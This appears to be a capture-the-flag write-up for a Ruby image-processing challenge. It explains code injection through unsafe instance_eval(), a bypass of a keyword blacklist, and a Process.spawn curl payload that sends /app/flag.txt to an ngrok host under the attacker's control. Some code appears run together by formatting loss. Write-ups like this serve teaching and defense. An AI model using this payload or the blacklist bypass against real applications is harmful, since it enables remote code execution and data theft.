PixelPerfect is a web application that allows users to upload images and apply various transformations using metadata directives. Users provide transformation instructions like format: jpg or resize: 800x600 to modify their images. However, the application contains a critical vulnerability that allows for code injection via user-supplied metadata.
The application uses a Ruby class called ImageProcessor for handling image transformations, even though the UI refers to the application as "PixelPerfect." This distinction is important when examining the code and understanding how the vulnerability works.
The root cause of the vulnerability lies in the unsafe use of Ruby's instance_eval() method in the image processing logic.
In app.rb, we can see the following code:
# In the process_image method@metadata.each do |directive, value| begin # Add timeout to each directive to prevent hanging Timeout.timeout(30) do instance_eval("apply_#{directive}('#{value}')") end rescue Timeout::Error puts "Processing timeout for directive: #{directive}" rescue => e puts "Error processing directive #{directive}: #{e.message}" endend
The vulnerability occurs because:
directive and value) is directly used in an instance_eval() callsystem, exec, `, $, eval, load, require, IO, File, and string interpolation (#{}), this filter can be bypassedapply_#{directive}('#{value}')The application implements a simple security check:
def parse_metadata(text) # Quick security scan - we're safe, right? if text =~ /system|exec|`|\$|eval|load|require|IO|File|#\{/ raise "Potentially malicious metadata detected!" end metadata = {} # Process each line as key: value text.each_line do |line| next if line.strip.empty? key, value = line.split(':', 2) metadata[key.strip] = value.strip if key && value end metadataend
This security check looks for common command execution and file access patterns, but it's incomplete and can be bypassed using alternative Ruby methods.
To exploit this vulnerability, we need to understand how instance_eval() works in Ruby.
instance_eval() is a method that evaluates a string or block within the context of an object. When a string is passed to instance_eval(), Ruby executes that string as Ruby code within the context of the object. This is extremely dangerous when user input is involved.
In this case:
apply_#{directive}('#{value}')value, we can break out of the string quotes and inject arbitrary Ruby codeFor Futher information: https://medium.com/rubycademy/ruby-instance-eval-a49fd4afa268
system or backticks, it doesn't block Process.spawn(), which can also execute system commands'); to close the current statement(' to form valid syntax for the remainder of the statementFor example, if we inject the following payload:
resize: '); puts "Hello World!"; ('
When processed by instance_eval() in the ImageProcessor class, it will be evaluated to:
apply_resize(''); puts "Hello World!"; ('')
This would print "Hello World!" to the server console. This simple example demonstrates how we can break out of the string context and inject arbitrary Ruby code. Note that the apply_resize method is a legitimate method of the ImageProcessor class that we're breaking out of to execute our own code.
Uing the same approach we can use Process.spawn() to bypass the blacklist and get command execution.
resize: '); Process.spawn("/usr/bin/curl", "https://6850-176-29-224-4.ngrok-free.app", "-F", "flag=@/app/flag.txt").tap{|pid| Process.wait(pid)}; ('
This payload:
');Process.spawn() to run a curl command that sends the flag file to an attacker-controlled webhook.tap{|pid| Process.wait(pid)} to wait for the command to complete; (' to make the resulting Ruby code syntactically validWhen processed by instance_eval(), the resulting code looks like:
pply_resize: (''); Process.spawn("/usr/bin/curl", "https://6850-176-29-224-4.ngrok-free.app", "-F", "flag=@/app/flag.txt").tap{|pid| Process.wait(pid)}; ('')
This executes our curl command and exfiltrates the flag file to our server.